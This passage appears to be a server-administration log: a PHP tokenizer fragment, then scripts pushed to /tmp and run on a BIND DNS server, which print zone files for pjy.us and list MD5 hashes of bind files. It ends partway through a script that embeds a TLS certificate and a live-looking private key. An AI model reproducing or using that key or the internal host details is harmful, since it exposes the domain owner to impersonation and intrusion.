		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-05-08 14:12:17: 

runuser -l bind -s /bin/bash -c '/tmp/pkp505745; rm /tmp/pkp505745'

2026-05-08 14:12:17: 
2026-05-08 14:12:17: 

PUT: /tmp/pkp627493

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf')
    show_file('/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-05-08 14:12:17: 

chmod 755 /tmp/pkp627493; /tmp/pkp627493; rm /tmp/pkp627493

2026-05-08 14:12:17: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf	203
# this is an automatically created file: manual changes will be overwritten.
zone "pjy.us" IN {
  ##owner 0;
  type master;
  file "4e946d31d5dbbaea14c1f8a8cc65c592.txt";
    allow-update { none; };

};


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt	2090
; this is an automatically created file: manual changes will be overwritten.
$TTL    3600
pjy.us.                  		 IN    SOA      	pjy.us. hostmaster.pjy.us. ( 135646885 14400 3600 14400 3600 )
pjy.us.                  		 IN    NS       	ns1.hostz.org.
pjy.us.                  		 IN    NS       	ns2.hostz.org.
pjy.us.                   60	 IN    A        	94.177.8.99
@                        		 IN    MX       	10 mail.emessage.email.
@                        		 IN    TXT      	"google-site-verification=ZtHGz_iSYmEil9sMSPUDIl9d6IDFBLjzeNlYE2SfdQM"
_acme-challenge           60	 IN    TXT      	"CVK_t_jeJDvIAdFM-oEc1ydoWDl-FO6fIPTzRmQDqmY"
_acme-challenge           60	 IN    TXT      	"bOI1DdgwQZHecFXswlfCExPM-Qk8sOD3pWTPNbjDjUg"
mail._domainkey           300	 IN    TXT      	"v=DKIM1; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA475QNvlpQCiGASeKJCw/3JWK/doJrCzE7FwPZQ+5uzZtbYa/xHmrd5HZKPgy9ohyeqvdcjYTMCtb+J9Hj+lG90gaO/OiIgMpkck6UvFEXoXQQzPTChI1Jm1JaDmbq9u3Qxatb9Wr/Zd88ytfn6tdNATtyvzZcQw2HFHooDxWlsRW+wXi3j5UL0yL4CeL" "CzmSUiO74QQUPqqjljsKvRvbZmsGhHm/NW5RYG/L2yYjWMlhnEAgaE+v4oMDQHnb06Lf2fuoGJ2C2EJtoY1ZaqhvjA2+4kT7BXO3NItVFe+EyKpPhYBcqtuCsYUDH6eScwOHBp0rjTggUg9IUFLEGFoLPwIDAQAB"
alive                    		 IN    CNAME    	home.stoughton.link.
_acme-challenge.city      60	 IN    TXT      	"UeRMkqu8_l2gRItyFHba1VXxbuTR3icuWFS2-fYdY3g"
desktop                  		 IN    A        	192.168.1.174
_acme-challenge.desktop   60	 IN    TXT      	"l9WeTDaGjg8OuobZhMGe8q_0Jb8jwvfMlSNambIH7bM"
eggshell                 		 IN    A        	94.177.8.99
y4it37yvzcuq.eggshell     60	 IN    CNAME    	gv-4p2uru6b7qnnw2.dv.googlehosted.com.
files                    		 IN    A        	74.208.130.81
home                      300	 IN    A        	86.106.182.72
_acme-challenge.home      60	 IN    TXT      	"bRrZQ9sTYYin--ZqX6Nzib8yi276mLv4bQdTqFNny2I"
hub                       300	 IN    A        	94.177.8.99
mysql                    		 IN    CNAME    	home.stoughton.link.
pkp                      		 IN    A        	94.177.8.99
www.pjy.us.               60	 IN    CNAME    	@






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= e29c21b46b5393be06f75c34de3e6440
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-05-08 14:12:21: Establishing a connection
2026-05-08 14:12:23: 

PUT: /tmp/pkp679803

#!/bin/bash
temp_file=$(mktemp)
TARGET=1ab41bf0e070e7b006d494c7605f9dcb

cat > $temp_file <<'endmsg'
05:84:0c:6d:eb:6c:59:f5:27:04:d8:9a:db:b0:10:60

-----BEGIN CERTIFICATE-----
MIIE8TCCA9mgAwIBAgISBssou5Dw7D1l7Vc/iOxSNP3KMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNTA4MDkwMjI0WhcNMjYwODA2MDkwMjIzWjARMQ8wDQYDVQQD
EwZwankudXMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDK8VHybJor
0Ll4HMZE/3+80Az9U1y6SgkOAZdWIJVlgkWH9FdzrCNJpgvXs1NZc5RL4/ICOFBQ
MuLR9V4LXLzGxie3ya5BFczJUFZEtd2umnBmry6LPjuf95JsQ7ksHVtVT5M9rZp3
PlaROjMsgDIaNAC2IrC0C1T/kqf4hSLbDdFA9W/eEoIqsMlR/DfuRxAln8XYXHvo
2tEPT+wpRfzgzY1i0ZlNpAqR28ubAyRs4gwzItBgRlNn0+K5QM96XnuM1mZW5iEY
XusWgCNrxTntcVoaNfMBdd/unPl0yLDyBzhQzHF3/zCj+jCeOwY1FePeaObVPjQG
V06XvfOXR48PAgMBAAGjggIfMIICGzAOBgNVHQ8BAf8EBAMCBaAwEwYDVR0lBAww
CgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4EFgQUrF8wifl23LjWlNf9
d2n4Hufcn5cwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yteD763OkM0dIwMwYIKwYB
BQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEyLmkubGVuY3Iub3JnLzAb
BgNVHREEFDASgggqLnBqeS51c4IGcGp5LnVzMBMGA1UdIAQMMAowCAYGZ4EMAQIB
MC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNzUuY3Js
MIIBDQYKKwYBBAHWeQIEAgSB/gSB+wD5AHYAlE5Dh/rswe+B8xkkJqgYZQHH0184
AgE/cmd9VTcuGdgAAAGeBwhxxAAABAMARzBFAiASMu26GiwjG08vCPMY3YL2c6Ke
YbDD/zE+jVv5J5A3xQIhAN+FjzrSR4RR+SZ7Acf8zodyILEXODJG3uyKoogqifUZ
AH8AqCbL4wrGNRJGUz/gZfFPGdluGQgTxB3ZbXkAsxI8VScAAAGeBwhx4gAIAAAF
AAoJuo8EAwBIMEYCIQDL9+//QHiez2SLNudPXPAy1PuZnWlk5fgtbLKxfYFmsgIh
ALk8zaFtTi2VW0mvJWnpTabM2eu2UfJIvCE2tCsHRTwdMA0GCSqGSIb3DQEBCwUA
A4IBAQARYN2pZ1yjqAnNfvTTciAQZte+GDj3ZW+vu/tv/YdLU5bIdLCLQBmP2MQ5
ywhuZNfMX3tjFbwFc2vgURDr/x01lWQybiD002EX2H5Nhwdv6xs5Xj1ANh8TZt1+
w4liH4ZlnLvIavIWO+oslpoc2GUYtPskf+N5ZCbP6wByWKKbRldaVAOyNocjkE0f
kzFsJ3hjAx+8mIp/Ry9CjAGPyzIpMHTJ5KeWcqaDAUe/16UJ01qQUOV7Vb2150l7
QunDQ1GC4KX6MoEzycIeVCYFNY/7AdRsktx/nOmcjBvlMTCSI6b9KvZQt3QrPFcR
Z4j3Lolucuw/1RGF8I6sa1hXYSNs
-----END CERTIFICATE-----


-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDK8VHybJor0Ll4
HMZE/3+80Az9U1y6SgkOAZdWIJVlgkWH9FdzrCNJpgvXs1NZc5RL4/ICOFBQMuLR
9V4LXLzGxie3ya5BFczJUFZEtd2umnBmry6LPjuf95JsQ7ksHVtVT5M9rZp3PlaR
OjMsgDIaNAC2IrC0C1T/kqf4hSLbDdFA9W/eEoIqsMlR/DfuRxAln8XYXHvo2tEP
T+wpRfzgzY1i0ZlNpAqR28ubAyRs4gwzItBgRlNn0+K5QM96XnuM1mZW5iEYXusW
gCNrxTntcVoaNfMBdd/unPl0yLDyBzhQzHF3/zCj+jCeOwY1FePeaObVPjQGV06X
vfOXR48PAgMBAAECggEAXr+jMEk3A4zcArGAefdFppwF7IHukYT+TD0+8DWfOnjD
SLGx4K31/a0Z61dsax90lafzNckf6gmP71Gc2jYuZqleIsb05astZLHuzP6R5LJz
FuXkF5tzEADwqj5GJkwAd8iCqHG0Y8bFeOFQwg6KFcTArkhs8mo2AWpxpKxX9Sfc
wL48oXI/cz3rOmo+M8iOL/TsBtaHV4m5jajkoOMz3DPgNM0+J5p70tjPiySb6cgR
KY7FdUkIQrmRZFTOKsIMTQG4WN7/TGXwYxd8V0PwIhRkr17+kwpcvKNJRKn+fMTE
Cwwf0KZ6t2iCFVNCOrx+jRNc2iCdzOC4xonLzEk98QKBgQD90S2TRmryYoDVW79t
CrKPNwLx4fA6SGebkqY7mY9nksp5bxDxDvi2SD78jLVPxJwTN4JQvAKUkzb2YoNa
aTekA3YRVASFPgDKUfdo8dlQdYcSe8hBG1nq9MlClkHnVlWjoxiyrKvZmlj2w1wq
d/i8TSsy7ou2y9gU9KrsgCeBPwKBgQDMsCIcMLhXiGNe6ixFgcNMf3XLFVZdBvIY
9R5ehgjL5wQZdLnCXNv8g5JbBL97wgWiFuyBdxJuhloypA4YdJvpllpVmbAn8RCG
RbALSb95HsnoI9z+TI9YCrCc1jDrOkDFHnvaTCY4MdnOTFyms8h8QSSnSMWbkPIY
LBdHg2GuMQKBgCeUszLATHU3/zdGc3ehr269+WuW/Etady2/lMS+kappLcH6G/47
g3WJlqjzmGK0GlK02VGVwCFDQ9LwUeOLfO3KzGKvY3UT0jO6zIZFEMqHSWUMgJIG
